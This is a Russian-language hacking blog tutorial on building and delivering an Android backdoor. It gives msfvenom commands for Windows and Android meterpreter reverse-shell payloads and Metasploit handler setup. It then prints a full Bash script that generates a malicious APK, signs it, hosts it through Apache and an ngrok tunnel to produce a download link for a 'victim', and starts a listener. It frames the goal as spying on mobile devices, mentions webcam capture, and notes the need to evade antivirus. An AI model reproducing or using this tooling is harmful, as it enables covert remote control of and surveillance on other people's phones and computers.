Android Metasploit MSFvenom Python RAT Обучение

Автоматизируем создание бекдора для Android

Автоматизируем создание бекдора для Android

Все когда то задумывались как шпионить за мобильными устройствами. На самом деле – это проще чем кажется.

Сегодня мы научимся создавать пейлоады с помощью популярного инструмента, известного как msfvenom, и исследуем опции, доступные в этом инструменте, для создания полезных нагрузок с различными расширениями и методами.

Код: https://github.com/f4rber/APG

Слово payload буквально оно переводится как «полезная нагрузка». Под этим словом подразумевают код или часть вредоносной программы (червей, вирусов), который непосредственно выполняет деструктивное действие: удаляет данные, отправляет спам, шифрует данные, открывает подключение для хакера и т.д. Вредоносные программы также имеют overhead code (буквально «служебный код»), под которым понимается та часть кода, которая отвечает за доставку на атакуемую машину, самостоятельное распространения вредоносной программы или препятствует обнаружению.

Т.е. «полезная нагрузка» для пользователя («жертвы») является совсем не полезной.

Для атакующего полезная нагрузка является ключевым элементом, который необходимо доставить на компьютер цели и выполнить. Код полезной нагрузки может быть написан самостоятельно (и это правильный подход, позволяющий значительно снизить шансы обнаружения антивирусами – в этом вы быстро убедитесь сами, если будете пробовать запускать исполнимые файлы с полезной нагрузкой в системах с установленным антивирусом), а можно воспользоваться разнообразными генераторами полезной нагрузки. Суть работы этих программ заключается в том, что вы выбираете типичную задачу (например, инициализация оболочки для ввода команд с обратным подключением), а генератор выдаёт вам исполнимый код под выбранную платформу. Если у вас нет навыков в программировании, то это единственный возможный вариант.

Одним из самых популярных генераторов полезной нагрузки является MSFvenom. Это самостоятельная часть Metasploit, предназначенная для генерации полезной нагрузки.

Msfvenom удивителен тем, что у него есть возможность быстро и легко генерировать шелл-код, вы можете напрямую использовать полезные нагрузки, которые находятся в Metasploit Framework (windows/shell_reverse_tcp, linux/x86/meterpreter/reverse_tcp и многое другое). В большинстве случаев Msfvenom потребуется при разработке эксплойтов, таких как переполнение буфера.

Для генерации полезной нагрузки обязательными являются два флага: -p и -f.

Пример команды:

msfvenom -p windows/meterpreter/reverse_tcp lhost=IP_атакующего lport=4444 -f exe -o /tmp/my_payload.exe

Здесь:

После того как вы сгенерировали пейлоад нужно запустить exploit/multi/handler через msfconsole

На «атакующей» машине запускаем Metasploit:           

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

Обратите внимание, что если вместо windows/meterpreter/reverse_tcp вы выбрали другую полезную нагрузку, то в предыдущей команде замените эту строку на свою.

Нужно установить настройки – IP и порт локальной машины:       

set LHOST 192.168.0.196
set LPORT 4444

Не забудьте строку 192.168.0.196 поменять на свой IP адрес. Если вы не меняли порт, то его можно не настраивать, поскольку значением по умолчанию является 4444.

Когда настройки сделаны, запустите выполнение модуля:

Run

Теперь на «цели» запустите исполнимый файл с полезной нагрузкой. Как только это будет сделано, бэкдор подключится к машине атакующего и откроется сессия meterpreter:

Для показа справки наберите ? или help. Разнообразных команд много. Если вы хотите получить информацию об опциях конкретной команды, напишите команду и добавьте флаг -h, например, следующая команда покажет опции модуля для управления веб-камерой:

webcam_snap -h

Автоматизация генерации пейлоада

Писать софт будем на Bash.

#!/bin/bash
#Colors
white="\033[1;37m"
grey="\033[0;37m"
purple="\033[0;35m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
purple="\033[0;35m"
cyan="\033[0;36m"
cafe="\033[0;33m"
fiuscha="\033[0;35m"
blue="\033[1;34m"
# Очищаем терминал при запуске скрипта
clear

При нажатии CTRL C программа спросит хотим ли мы удалить сгенерированный бекдор, если пользователь нажмет y, остановиться служба apache и .apk будет удален.

ctrlc () {
read -p "$(echo -e $red[$yellow!$red]$grey Delete .apk? [y/n]  )" descision
if [[ $descision == "y" ]]; then
     service apache2 stop
     eval "rm -rf /var/www/html/*.apk"
     eval "rm -rf *.apk"
else
     echo -e "C ya later\n"
fi
exit 1
}
trap ctrlc SIGINT
#Проверяем является ли пользователь root
if [[ $EUID -ne 0 ]]; then
        echo -e "          $yellow[!]$red Execute program as root $yellow[!]"
        echo -e "          $red    Type sudo ./apg.sh"
        exit 1

fi

Функция, которая сгенерирует пейлоад:

function payload() {
#LHOST
read -p "$(echo -e $red[$yellow+$red]$grey Enter LHOST: )" lhost
     echo -e "  \033[1;31mLHOST$grey =>$purple $lhost"
#LPORT
read -p "$(echo -e $red[$yellow+$red]$grey Enter LPORT: )" lport
     echo -e "  \033[1;31mLPORT$grey =>$purple $lport"
#Получаем имя файла
read -p "$(echo -e $red[$yellow+$red]$grey Enter payload name: )" payload_name
     echo -e "  \033[1;31mPayload Name$white =>$purple $payload_name"
msfvenom -p android/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport R > $payload_name.apk
echo ""
echo -e "           $red[$yellow+$red]$yellow Payload successfuly generated $red[$yellow+$red]"
echo ""
}

Функция шифрования полученного бекдора (keytool зашифрует файл а jarsigner его подпишет):

function crypt() {
read -p "$(echo -e $red[$yellow+$red]$grey Do you wanna encrypt the payload $red[$yellow$payload_name.apk$red] $grey[y/n]: )" crypt
#Если пользователь нажал y или Y то начнется процесс шифрования и подписи
if [[ $crypt = "Y" ]]; then
     echo -e "\n  $red[$yellow+$red]$grey Payload encryption started\n"
     keytool -genkey -v -keystore key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
     jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore $payload_name.apk alias_name
     echo -e "\n  $red[$green+$red]$grey Your Payload Has Been Successfully Encrypted $red[$yellow+$red]\n"
elif [[ $crypt = "y" ]]; then
     echo -e "\n  $red[$yellow+$red]$grey Payload encryption started\n"
     keytool -genkey -v -keystore key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
     jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore $payload_name.apk alias_name
     echo -e "\n  $red[$yellow+$red]$grey Your payload has been successfully encrypted $red[$yellow+$red]\n"
else
     echo -e "\n  $red[$yellow!$red]$white Payload was not crypted $red[$yellow!$red]\n"
fi  
}

Для того что бы мы смогли передать файл “жертве” мы захостим его у себя на сервере apache и с помощью ngrok-а пробросим порты:

#Starting ngrok
function ngrok_server() {
#Если unzip, xterm или wget не установлены мы уведомим пользователя об этом
command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; }
command -v xterm > /dev/null 2>&1 || { echo >&2 "I require xterm but it's not installed. Install it. Aborting."; exit 1; }
command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; }
#Если архив с ngrok уже существует мы разархивируем его и после удалим архив
if [[ -e ngrok-stable-linux-386.zip ]]; then
     unzip ngrok-stable-linux-386.zip > /dev/null 2>&1
     chmod +x ngrok
     rm -rf ngrok-stable-linux-386.zip
#Если файл ngrok уже существует мы выведем об этом сообщение
elif [[ -e ./ngrok ]]; then
     echo -e "ngrok already downloaded\n"
#Если ни один из вариантов не увенчался успехом мы скачаем ngrok
else
     echo -e "Downloading Ngrok...\n"
     wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip > /dev/null 2>&1
fi
#Запуск ngrok в терминале xterm
echo -e "Starting ngrok server...\n"
eval "xterm -e ./ngrok http 80 > /dev/null 2>&1 &"
sleep 10
#Выведем ссылку через которую можно будет скачать наш бекдор
echo -e "Direct link:"
eval "curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o 'http://[0-9a-z]*\.ngrok.io'"
slash="/"
link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "http://[0-9a-z]*\.ngrok.io"); echo -e "$link$slash$payload_name.apk\n"
}

Запускаем exploit/multi/handler:

function listener() {
#Если пользователь введет y запуститься сессия multi/handler
read -p "$(echo -e $red[$yellow+$red]$grey Do you wanna start a listener [y/n]: )" listener
if [ $listener = "y" ];then
     echo -e "\n  $red[$yellow+$red]$grey Starting a listener .."
     echo -e "use exploit/multi/handler\nset PAYLOAD android/meterpreter/reverse_tcp\nset LHOST $lhost\nset LPORT $lport\nexploit" > listener.rc
     echo ""
     xterm -e 'msfconsole -r listener.rc'
elif [ $listener = "Y" ]; then
     echo -e "\n  $red[$yellow+$red]$grey Starting a listener .."
     echo -e "use exploit/multi/handler\nset PAYLOAD android/meterpreter/reverse_tcp\nset LHOST $lhost\nset LPORT $lport\nexploit" > listener.rc
     echo ""
     xterm -e 'msfconsole -r listener.rc'
else
     echo -e "\n  $red[$yellow!$red]$grey Skipping...\n"
fi
}

В конце файла мы запускаем функции:

payload
crypt
service apache2 start
eval "cp $payload_name.apk /var/www/html/"
ngrok_server
listener
#После завершения работы программы даем возможность удалить файлы и остановить службу apache
read -p "$(echo -e $red[$yellow!$red]$grey Delete .apk? [y/n]  )" descision
service apache2 stop
if [[ $descision == "y" ]]; then
     eval "rm -rf /var/www/html/*.apk"
     eval "rm -rf *.apk"
else
     echo -e "C ya later\n"
fi

После того как “жертва” скачала файл и запустила его мы получим сессию meterpreter:

Некоторые из команд доступные нам:

Заключение

Итак, как мы могли сами убедиться MSFvenom позволяет генерировать полезную нагрузку, а Meterpreter помогает скрыто управлять удалённой системой.

В целом это обзорная статья, цель которой – показать некоторые возможности Metasploit. В реальной практической ситуации нужно подобрать полезную нагрузку в соответствии с разными сценариями: на случай смены IP жертвой, на случай смены IP атакующим, решить проблемы доставки полезной нагрузки и избежание обнаружения антивирусами.

f4r6er
f4r6er Script kiddie, red teamer, Python lover.